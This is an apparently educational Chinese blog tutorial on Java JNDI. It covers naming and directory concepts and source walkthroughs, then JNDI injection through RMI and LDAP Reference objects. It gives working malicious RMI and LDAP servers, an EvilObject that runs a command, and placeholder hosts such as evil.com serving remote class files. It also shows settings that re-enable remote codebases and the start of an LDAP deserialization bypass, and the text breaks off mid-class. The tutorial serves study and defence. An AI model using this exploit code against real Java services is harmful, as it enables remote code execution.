概念

JNDI(Java Naming Directory Interface),Java命名和目录接口,是SUN公司提供的一种标准的Java命名系统接口。通过调用JNDI的API应用程序可以定位资源和其他程序对象。

JNDI可访问的现有目录及服务包括:JDBC(Java数据库连接)、LDAP(轻型目录访问协议)、RMI(远程方法调用)、DNS(域名服务)、NIS(网络信息服务)、CORBA(公共对象请求代理系统结构)

命名服务/目录服务

JNDI包括命名服务(Naming Service)和目录服务(Directory Service)。

命名服务

是一种通过名称来查找实际对象的服务。例如在RMI中,Naming.lookup方法通过查找名称来获取远程对象的代理类

相关概念:

  • Name:名称。要么在命名系统中查找对象,需要提供对象的名称,如java:comp/env/jdbc/DataSource
  • Naming Convention:命名规范。一个命名系统中的所有名称必须遵循的语法规范
  • Binding:绑定。一个名称和一个对象的关联,如bind("payService", paymentObj)
  • Reference:引用。一些命名服务系统不是直接存储对象,而是保存对象的引用。引用包含了如何访问实际对象的信息。如<Reference class="com.Evil" url="http://attacker/"/>
  • Address:地址。引用通常用一个或多个地址(通信端口)来表示,如ldap://192.168.1.1:389
  • Context:上下文。一个上下文是一系列名称和对象的绑定的集合。一个上下文中的名称可以绑定到一个具有相同命名规范的上下文中,称之为子上下文(subcontext)。例如:在文件系统中,/usr是一个Context,/usr/bin是usr的subcontext
  • Naming System:命名系统。一个相同类型的上下文集合,例如整个 DNS 系统
  • Namespace:命名空间。一个命名系统的所有名称的集合,例如DNS的所有域名
  • Atomic Name:原子名。一个简单基本结构,如文件名 config.txt
  • Compound Name:混合名。由多个原子名一起构成的名称,如文件路径 /home/user/.bashrc
  • Composite Name:复合名称。是跨越多个命名系统的名称,如ldap://ldap.com/cn=user,dc=com+file:/shared.txt

目录服务

是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称为目录对象,目录对象可以跟属性关联,一个目录是由相关联的目录对象组成的系统。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。

相关概念:

  • Attribute:属性。一个目录对象可以包含属性。一个属性具有一个属性标识符和一系列属性值
  • Search Filter:查找过滤器。通常还提供通过目录对象的属性来查找对象的操作,这种的查找一般通过规定的表达式来表示,称之为查找过滤器。

JNDI简单利用

RMI示例

开启RMI服务

远程接口:

1
2
3
4
5
6
7
8
package rmi;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RMIInterface extends Remote {
public String Hello() throws RemoteException;
}

远程对象:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package rmi;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RMItest extends UnicastRemoteObject implements RMIInterface {
protected RMItest() throws Exception{
super();
}

@Override
public String Hello() throws RemoteException {
System.out.println("hello");
return "b1uel0n3";
}
}

开启服务:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package rmi;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class server {
//rmi服务地址
public static String HOST="127.0.0.1";
public static int PORT=5432;
public static String RMI_PATH="/b1uel0n3";
public static String RMI_NAME="rmi://"+HOST+":"+PORT+RMI_PATH;
public static void main(String[] args) throws Exception {
//注册RMI端口
LocateRegistry.createRegistry(PORT);
//绑定远程对象
RMIInterface o=new RMItest();
Naming.rebind(RMI_NAME,o);
System.out.println("RMI服务在:"+RMI_NAME);
}
}

image-20250715165542968

设置JNDI环境参数

在访问JNDI目录服务时会通过预先设置好环境变量访问对应的服务,这里主要通过Context接口实现的,在Context接口中定义的变量,分别用到了INITIAL_CONTEXT_FACTORYPROVIDER_URL

  • INITIAL_CONTEXT_FACTORY:保存环境属性名称的常量,用于指定要使用的初始上下文工厂,即指定 JNDI 服务提供者的入口类。

    image-20250715172450950

  • PROVIDER_URL:保存环境属性名称的常量,用于指定服务提供者要使用的配置信息,该属性应包含一个URL字符串

    image-20250715172642689

先设置环境变量:

1
2
3
Hashtable env = new Hashtable();
env.put(INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(PROVIDER_URL, "rmi://127.0.0.1:5432");

这里相当于告诉JNDI要连接的是RMI注册表,它在127.0.0.1的5432端口

初始化上下文

初始化上下文需要用到InitialContext对象来为我们获取命名服务资源,JNDI也提供InitialDirContext对象为我们获取目录服务资源

这里初始化上下文,传入我们设置好的环境变量:

1
InitialContext ctx = new InitialContext(env);

image-20250716092306514

传入的是Hashtable对象

如果不指定环境变量的话:

1
InitialContext ctx = new InitialContext();

JNDI就会自动搜索系统属性System.getProperty()、applet参数和应用程序资源文件jndi.properties

所以也可以通过System.getProperty()设置环境变量:

1
2
3
System.getProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
System.getProperty(Context.PROVIDER_URL, "rmi://127.0.0.1:5432");
InitialContext ctx = new InitialContext();

通过上下文查找远程对象

利用提供的lookup方法,通过查询名字获取远程对象代理类:

1
RMIInterface o = (RMIInterface) ctx.lookup("b1uel0n3");

调用远程方法

最后调用远程方法即可:

1
System.out.printf(o.Hello());

完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package rmi;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Hashtable;

public class Client {
public static void main(String[] args) throws Exception {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:5432");
InitialContext ctx = new InitialContext(env);
RMIInterface o=(RMIInterface)ctx.lookup("b1uel0n3");
System.out.printf(o.Hello());
}
}

image-20250716093739555

DNS示例

与rmi一样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package rmi;

import javax.naming.Context;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;

public class Client {
public static void main(String[] args) throws Exception {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
env.put(Context.PROVIDER_URL, "dns://114.114.114.114");
Context ctx = new InitialDirContext(env);
Object o=ctx.lookup("www.baidu.com");
System.out.println(o);
}
}

image-20250716095055313

这里我们打算使用DNS服务,从dns://114.114.114.114这个dns服务器上查询www.baidu.com域名对应的IP地址。但这里返回的是一个对象,由于我们用的是JNDI目录服务,而目录服务允许目录对象具有属性,那么我们就能通过目录服务获取ip这个属性值:

1
2
3
DirContext ctx = new InitialDirContext(env);
Attributes o= ctx.getAttributes("www.baidu.com", new String[]{"A"});
System.out.println(o);

DNS记录类型:

记录类型 含义 示例
A IPv4 地址记录 www.baidu.com → 14.215.177.38
AAAA IPv6 地址记录 www.example.com → 2001:db8::1
CNAME 别名记录 www → real-server.example.com
MX 邮件交换记录 @ → mail.example.com
TXT 文本记录 "v=spf1 include:_spf.google.com ~all"
NS 域名服务器记录 @ → ns1.alidns.com

image-20250716095852346

获得ipv4地址,通过这个地址可以访问百度

完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package rmi;

import javax.naming.Context;
import javax.naming.directory.Attributes;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;


public class Client {
public static void main(String[] args) throws Exception {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
env.put(Context.PROVIDER_URL, "dns://114.114.114.114");
DirContext ctx = new InitialDirContext(env);
Attributes o= ctx.getAttributes("www.baidu.com", new String[]{"A"});
System.out.println(o);
}
}

动态协议切换

前面rmi和dns例子中我们都是通过设置INITIAL_CONTEXT_FACTORY和PROVIDER_URL的值来告诉JNDI我们要调用何种服务,从哪里获取这个服务。

而在Context.lookup()方法的参数中,用户可以指定自己的查找协议。JNDI会通过用户输入来动态识别要调用的服务以及路径:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package rmi;

import javax.naming.Context;
import javax.naming.InitialContext;


public class Client {
public static void main(String[] args) throws Exception {
String str="rmi://127.0.0.1:5432/b1uel0n3";
Context ctx = new InitialContext();
RMIInterface o=(RMIInterface)ctx.lookup(str);
System.out.println(o.Hello());
}
}

image-20250716101138829

这里我们并没有设置相应的环境变量来初始化Context,但是JNDI仍旧通过lookup()的参数识别出要调用的服务以及路径

默认支持自动转换的协议有:

img

源码分析

命名服务初始化上下文

这里拿rmi为例子

1
InitialContext ctx = new InitialContext(env);

image-20250716141757325

此时env不为空,调用enviroment.clone()方法:

image-20250716141853534

重新赋值,这里对原始环境变量没用改动,随后调用init方法,传入环境变量:

image-20250716142207239

调用了ResourceManager的静态方法getInitialEnvironment,传入环境变量,看文件名像时获取初始环境变量:

image-20250716142552798

image-20250716142648680

定义了一个PROPS变量,里面记录了Context接口的常量信息

image-20250716142947096

然后获取APPLET属性,由于我们传入的环境变量只记录了Context.INITIAL_CONTEXT_FACTORY和Context.PROVIDER_URL的信息,所以这里applet参数为null

image-20250716143035245

image-20250716144625909

helper为VersionHelper对象,这里调用VersionHelper.getJndiProperties静态方法:

image-20250716144850955

最后返回了长度为7的字符串数组,且都为null,似乎更像是在初始化

image-20250716145145212

初始化Context接口每个常量的值,这里通过三个方面来获取值,首先从传入的环境变量找值,如果没用则通过applet,如果还没有就通过系统属性来获取值,这也正好解释了前面初始化上下文时可通过不传入env来设置环境变量

初始化环境变量后回到initialContext.init方法:

image-20250716150949410

设置了初始化上下文工厂就会调用getDefaultInitCtx()方法,获取默认初始化上下文,先看下此时的变量:

image-20250716151244608

跟进getDefaultInitCtx()方法:

image-20250716151549981

调用了NamingManager.getInitialContext静态方法,传入myProps变量:
image-20250716151740756

获取用户设置的工厂类

image-20250716151849884

如果不为null就加载并实例化这个类:

image-20250716152135258

最后调用RegistryContextFactory.getInitialContext方法,传入环境变量:

image-20250716152202482

image-20250716152442517

先拷贝参数值给var1,再调用URLToContext(getInitCtxURL(var1), var1),先看getInitCtxURL方法:

image-20250716152941243

image-20250716153118967

获取环境变量指定的服务地址,这里就是rmi://127.0.0.1:5432

然后看URLToContext方法:

image-20250716153240150

这里实例化了一个rmiURLContextFactory,这是一个专门用于处理 RMI URL 的上下文工厂,然后调用了getObjectInstance方法传入了服务地址和环境变量:

image-20250716153717542

调用 getUsingURL方法:

image-20250716153756788

实例化rmiURLContext对象,传入环境变量:

image-20250716153959295

image-20250716154018964

然后调用var2.lookup(var0);方法,即rmiURLContext父类GenericURLContext.lookup方法,传入服务地址:
image-20250716155136311

最终调用RegistryContext.lookup方法:

image-20250716160054209

根据上述过程中获取的信息初始化了一个新的RegistryContext,RegistryContext的构造方法:

image-20250716160221470

image-20250716160202476

返回结果:

image-20250716160948477

最后获取到RegistryImpl_Stub对象,也就是相应的Stub,类似于RMI创建注册中心流程,后续将利用这个Stub获取远程对象

初始化结果:
image-20250716161151510

目录服务初始化上下文

1
Context ctx = new InitialDirContext(env);

image-20250716161933325

调用父类方法:
image-20250716161956746

后面流程和命名服务初始化一样

命名服务获取远程对象

1
RMIInterface o=(RMIInterface)ctx.lookup("b1uel0n3");

调用了InitialContext.lookup方法:

image-20250716162424657

调用getURLOrDefaultInitCtx(name).lookup(name)方法,先看getURLOrDefaultInitCtx(name):

image-20250716162704104

先if判断是否进行了上下文初始化,然后getURLScheme(name);对name进行解析,提取协议部分:

image-20250716163221347

最后调用getDefaultInitCtx();方法:
image-20250716163505637

而初始化上下文后,gotDefault值为true,最后直接返回defaultInitCtx变量,也就是初始化上下文生成的RegistryContext对象

接着看getURLOrDefaultInitCtx(name).lookup(name)的lookup方法,即RegistryContext.lookup(name)方法:

image-20250716163828940

这里实例化一个CompositeName对象,可理解为将一个字符串名转换成对应的Name类型对象

接着调用RegistryContext.lookup()方法,只不过传入了类型为Name型:

image-20250716164104457

此时var1不为空了,就会调用this.registry.lookup方法,不就是RegistryImpl_Stub.lookup方法,后面的查找过程就是rmi服务端查找远程对象的过程了

目录服务获取属性

以dns为例:

1
Attributes o= ctx.getAttributes("www.baidu.com", new String[]{"A"});

先调用InitialDirContext.getAttributes方法:

image-20250716165009584

调用getURLOrDefaultInitDirCtx(name).getAttributes(name, attrIds);方法,先看前面getURLOrDefaultInitDirCtx(name)方法:

image-20250716170005902

getURLOrDefaultInitCtx(name);逻辑与命名服务中的是一样的,这里返回的是DnsContext对象

回到InitialDirContext.getAttributes,接着调用getAttributes(name, attrIds)方法,由于DnsContext没有该方法,所以最后调用的是PartialCompositeDirContext.getAttributes方法:
image-20250716170136801

依旧实例化一个CompositeName对象,将字符串名转化为Name类型对象,然后调用getAttributes(Name var1, String[] var2)方法:
image-20250716170442868

先获取当前目录上下文和环境变量,并创建Continuation对象:

image-20250716170928411

接着进入循环来获取值,这里调用了p_getAttributes方法:

image-20250716171542488

调用了p_resolveIntermediate方法,如果是普通解析状态则会返回2,如果是需要处理”下一个命名系统”,则会返回3,这里状态为2,调用var5 = this.c_getAttributes(var4.getHead(), var2, var3);,其中var4.getHead()为传入的名称,跟进下:
image-20250716172524454

查询逻辑在this.getResolver().query(var4, var6.rrclass, var6.rrtype, this.recursion, this.authoritative);,调用了Resolver.query方法:

image-20250716172747436

然后调用dnsClient.query方法:

image-20250716173349862

image-20250716173421139

建立TCP连接并发送请求到相应DNS服务器上获取数据

动态协议切换

前面提到在初始化化上下文时没有指定环境变量,调用lookup方法,依然能通过服务地址直接获取相应对象,这里分析下代码逻辑:

1
2
3
String str="rmi://127.0.0.1:5432/b1uel0n3";
Context ctx = new InitialContext();
RMIInterface o=(RMIInterface)ctx.lookup(str);

先看下初始化后的变量:

image-20250717094551034

可以看到是并没有存有服务地址,服务对象等相关变量的

跟进lookup方法:

image-20250717095227773

先进入getURLOrDefaultInitCtx(name):

image-20250717095356537

解析了服务地址,获取了rmi协议,进入if语句,调用NamingManager.getURLContext方法:

image-20250717095801798

接着调用getURLObject,传入协议名和环境变量:
image-20250717095913824

调用了ResourceManager.getFactory方法

传入参数:

image-20250717100558567

跟到关键部分:

image-20250717100904570

得到的className就是我们要获取的工厂类:

image-20250717101307930

然后调用 helper.loadClass(className, loader).newInstance();加载这个工厂类并获取实例并返回这个对象

回到getURLObject方法:

image-20250717101522855

获取工厂类实例后调用factory.getObjectInstance(urlInfo, name, nameCtx, environment);

image-20250717101631810

image-20250717101759021

实例化一个rmiURLContext对象:

image-20250717102133856

image-20250717102154835

接着回到NamingManager.getURLContext方法,返回了实例化的rmiURLContext对象,属于Context类型:

image-20250717102703070

再回到InitialContext.getURLOrDefaultInitCtx方法:

image-20250717102825070

此时ctx不为null,直接返回ctx

接着调用rmiURLContext.lookup方法,由于rmiURLContext不存在该方法,所以调用父类GenericURLContext.lookup方法:

image-20250717103249851

先调用getRootURLContext方法,对传入的服务地址进行解析,获取绑定名称、host、port等,跟进:

image-20250717103741915

跟进RegistryContext构造函数:

image-20250717103851442

跟进getRegistry方法:

image-20250717104315367

传入的var0和var1分别是访问的host和端口,这里直接调用LocateRegistry.getRegistry(var0, var1)获取注册中心的存根,然后返回,所以这就明朗了

在getRootURLContext中最后实例了一个ResolveResult对象并返回,最后在GenericURLContext.lookup调用var3.lookup方法,即RegistryContext.lookup(“b1uel0n3”),后面的流程就和命名服务时的一样了,这里就不跟了

命名引用

JNDI定义了命名引用,简称引用。其大致过程是通过绑定一个引用,将引用对象存储到命名/目录服务中,命名管理器(Naming Manager)可以将引用解析为关联的原始对象

引用主要由Reference类来表示,每个Reference包含如何构造对应的对象的信息,包括引用对象的全限定类名,服务地址,以及创建对象的工厂类的名称和位置:

image-20250717110059639

Reference可以使用工厂类来构造对象,当使用lookup查找对象时,Reference将使用提供的工厂类加载地址来加载工厂类,工厂类将构造出需要的对象,可以从远程加载地址来加载工厂类

Reference的一个构造方法:

image-20250717111138252

image-20250717111200821

  • className:className为远程加载时所使用的类名,如果本地找不到这个类名,就去远程加载
  • classFactory:工厂类名
  • classFactoryLocation:工厂类的加载地址,用于指定工厂类字节码的加载位置,可以是file://、ftp://、http://等协议
1
2
3
Reference reference = new Reference("refClassName","FactoryClassName",FactoryURL);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
ctx.bind("refObj", wrapper);

远程对象引用安全限制

需要注意的是,在学习RMI时,RMI服务中远程对象将受到本地Java环境的限制,需要java.rmi.server.useCodebaseOnly配置必须为false,表示允许加载除了Classpath外的远程对象。

而在JNDI获取RMI服务中,被引用的远程工厂对象也将受到com.sun.jndi.rmi.object.trustURLCodebase配置限制,为false表示不信任远程对象引用,就不能调用远程的引用对象

  • JDK5u45、JDK6u45、JDK7u21、JDK8u121开始,java.rmi.server.useCodebaseOnly默认值改为了true。
  • JDK6u132、JDK7u122、JDK8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值改为了 false。

可使用System.setProperty允许加载允许加载远程的引用对象:

1
2
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

同时LDAP也在JDK6u211、7u201、8u191、11.0.1后将com.sun.jndi.ldap.object.trustURLCodebase的默认设置为了false。(但不受java.rmi.server.useCodebaseOnly影响)

JNDI注入

环境:jdk 8u65

原理就是由于动态协议转换的机制,当lookup方法访问的地址参数可控时,则可能导致加载恶意类,注意其恶意命令执行主要是通过远程引用Reference而不是反序列化

Reference+RMI

原理及利用

我们在攻击RMI客户端时,是通过准备一个恶意的远程对象,最后在客户端反序列化这个恶意对象造成攻击

而如果远程获取到RMI服务上的对象为Reference类或者其子类,则在客户端获取远程对象存根实例时,可以从其他服务器上加载class文件来实例化这个Stub对象,而JNDI注入就是利用这个特性来加载恶意类的

当客户端请求服务地址可控,就可以访问一个恶意的服务端,让这个恶意服务端绑定一个Reference对象这里我们使用ReferenceWrapper对象,这个对象对Reference类或其子类对象进行远程包装使其能够被远程访问

利用流程:

  1. 攻击者通过可控的URL参数触发动态环境转换,例如URL为rmi://evil.com:1099/refObj,而客户端在使用lookup时原来的上下文环境rmi://localhost:1099会由于动态环境转换被指向rmi://evil.com:1099/

  2. 恶意服务端先创建一个恶意引用,其中引用对象的类名,工厂类名都为我们的恶意远程对象,而工厂类的加载地址设为我们恶意远程对象的地址:

    1
    2
    3
    4
    5
    String refClassName="EvilObject";
    String FactoryClassName = "EvilObject";
    String factoryLocation = "http://127.0.0.1:8080/";
    Reference reference=new Reference(refClassName,FactoryClassName,factoryLocation);
    ReferenceWrapper refWrapper=new ReferenceWrapper(reference);

    然后去rmi://evil.com:1099恶意注册端上将准备的ReferenceWrapper对象与refObj对象绑定

  3. 当客户端查询rmi://evil.com:1099/refObj查找引用时,JNDI会解析服务端注册的Reference对象,这时客户端会开始从本地CLASSPATH搜索EvilObject类,如果不存在就会尝试从远程地址http://127.0.0.1:8080/上去获取EvilObject.class,即动态的去获取http://evil-cb.com/EvilObject.class

  4. 客户端下载恶意远程对象字节码后会主动去加载该字节码调用EvilObject类的构造函数从而执行恶意代码

EvilObject:

1
2
3
4
5
6
7
package jndi;

public class EvilObject {
public EvilObject() throws Exception {
Runtime.getRuntime().exec("calc.exe");
}
}

EvilServer:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class EvilServer {
public static void main(String[] args) throws Exception {
String refClassName="jndi.EvilObject"; //注意使用全限定名
String FactoryClassName = "jndi.EvilObject";
String factoryLocation = "http://127.0.0.1:5432/";

Registry registry = LocateRegistry.createRegistry(1099);

Reference reference=new Reference(refClassName,FactoryClassName,factoryLocation);
ReferenceWrapper refWrapper=new ReferenceWrapper(reference);
registry.bind("b1uel0n3",refWrapper);

System.out.printf("Server Started\n");
}
}

Client:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package jndi;

import rmi.RMIInterface;

import javax.naming.Context;
import javax.naming.InitialContext;

public class Client {
public static void main(String[] args) throws Exception {
String str="rmi://127.0.0.1:1099/b1uel0n3";
Context ctx = new InitialContext();
ctx.lookup(str);
}
}

先编译EvilObject:

image-20250717173800138

然后运行恶意服务端,接着在含有EvilObject.class目录下启动http服务:

image-20250717173912224

运行客户端:

image-20250717174231722

成功弹出计算机,但存在报错:

image-20250717174406699

似乎是类转换异常,JNDI 期望从远程获取一个实现了ObjectFactory接口的工厂类,但实际返回的是jndi.EvilObject类,而该类未实现ObjectFactory接口

image-20250717175446936

在ObjectFactory接口定义了getObjectInstance方法,这是 ObjectFactory 接口的核心方法,当 JNDI 查找返回 Reference 对象时他会自动调用,或者触发RMI 查找LDAP 查找资源注入等时也会触发,所以修改代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
package jndi;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class EvilObject implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return Runtime.getRuntime().exec("calc.exe");
}
}

image-20250719193111559

源码分析

跟一下源码便于自己理解,在RegistryContext.lookup方法开始:

image-20250720185023514

这里通过Registry_Stub.lookup方法获取到ReferenceWrapper_Stub对象

image-20250720185123566

接着调用decodeObject方法:
image-20250720185257424

判断ReferenceWrapper_Stub是否是RemoteReference对象,这里直接调用getReference()方法:

image-20250720185632977

调用UnicastRef.invoke建立连接,返回一个Reference对象

接着回到RegistryContext.decodeObject方法,随后调用NamingManager.getObjectInstance方法:

image-20250720190022720

与上面动态协议转换调试的不同,这里的refInfo就是返回的Reference对象:
image-20250720190111829

这里的ref变量不为空:
image-20250720190354552

调用getObjectFactoryFromReference(ref, f)方法,根进下:

image-20250720190523882

如果本地存在需要获取的类,则会使用在本地直接获取。如果本地不存在并且可以从远程获取到该类,则会远程加载类。获取到类之后,会在return返回语句中调用newInstance方法,会触发类的构造方法。

Reference+LDAP

原理及利用

由于LDAP的存储形式支持存储JNDI Reference,其攻击原理和RMI是类似的旨在返回一个恶意的Reference对象给客户端,客户端根据codebase路径查找工厂加载恶意EvilObject.class

下载依赖:

1
2
3
4
5
6
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>6.0.11</version>
<scope>test</scope>
</dependency>

EvilServer:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
package jndi;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class EvilServer {

private static final String LDAP_BASE = "dc=example,dc=com";

public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:5432/#EvilObject"}; //恶意对象下载地址
int port = 9999; //LDAP服务端口

//配置LDAP服务器
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

// 添加恶意拦截器
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));

//启动服务
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase; //恶意代码地址

public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e); //发送恶意响应
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
// 构造 class 文件实际路径 (将 #EvilObject 转换为 /EvilObject.class)
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "b1uel0n3"); //任意类名
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}

// 构建恶意 LDAP 条目
e.addAttribute("javaCodeBase", cbstring); //代码库地址 (http://127.0.0.1:5432/)
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef()); //工厂类名(EvilObject)
result.sendSearchEntry(e); //发送给客户端
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

http://127.0.0.1:5432为指定的codebase,EvilObject为要查找的字节码路径,也就是从当前本地路径查找EvilObject.class文件

Client:

1
2
3
4
5
6
7
8
9
10
11
12
13
package jndi;

import javax.naming.Context;
import javax.naming.InitialContext;

public class Client {
public static void main(String[] args) throws Exception {
String str = "ldap://127.0.0.1:9999/EvilObject";

Context Context = new InitialContext();
Context.lookup(str);
}
}

image-20250720204342149

源码分析

进入InitialContext.lookup方法:
image-20250720215950132

先进入getURLOrDefaultInitCtx方法,主要通过协议名获取对应的对象进行lookup:

image-20250720220048125

image-20250720220101133

image-20250720220210430

然后回到主逻辑ldapURLContext.lookup方法中,跟进到PartialCompositeContext.lookup方法:

image-20250720221534275

跟进LdapCtx.p_lookup方法,由于headTail.getStatus()为2:

image-20250720222133804

跟进c_lookup方法:

image-20250720222233494

attributes存放着LDAP的基本信息,由于没java文件所以直接用网上的图:
img

跟进decodeObject方法:

image-20250720222450165

JAVA_ATTRIBUTES是一个数组:

img

image-20250720222834709

var0.get(JAVA_ATTRIBUTES[0]);

img

JAVA_OBJECT_CLASSES也是一个数组,表示在LDAP的存储的形式:

img

最后会在decodeReference方法解码,传入javaReferenceAddress的相关信息:
image-20250720223026630

image-20250720223130574

获取javaClassName、工厂名和加载工厂地址,封装成一个Reference对象,最后是返回这个对象的

回到c_lookup方法:

image-20250720223245541

var3就是返回的Reference对象

跟进DirectoryManager.getObjectInstance方法:

image-20250720223356883

后面就和RMI是一样的了

高版本限制绕过

JNDI_RMI_Reference限制

在jdk 6u132,jdk 7u122,jdk 8u113之后Java限制了通过RMI远程加载Reference工厂类。com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为了false,即默认不允许通过RMI从远程的Codebase加载Reference工厂类,在RegistryContext.decodeObject方法中多了一个对trustURLCodebase的判断,由于默认设置的原因,也就导致直接抛出了异常

image-20250721101359277

JNDI_LDAP_Reference限制

在JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase属性的默认值同样被修改为了false,即默认不允许通过LDAP从远程的Codebase加载Reference工厂类

LDAP本地Gadget绕过

LDAP服务端除了支持 JNDI Reference 这种利用方式外,还支持直接返回一个序列化的对象:

JNDI在完成lookup后会调用obj.decodeObject:

image-20250721150257467

首先判断JAVA_ATTRIBUTES[SERIALIZED_DATA],也就是javaSerializedData是否为空

不为空就会调用deserializeObject方法:

image-20250721150333601

这里的deserial就是从javaSerializedData获取的序列化数据

那么对象可以是我们传入恶意的序列化数据:

1
e.addAttribute("javaSerializedData",CC6的序列化对象数据)

EvilServer:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
package jndi;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class EvilServer {

private static final String LDAP_BASE = "dc=example,dc=com";
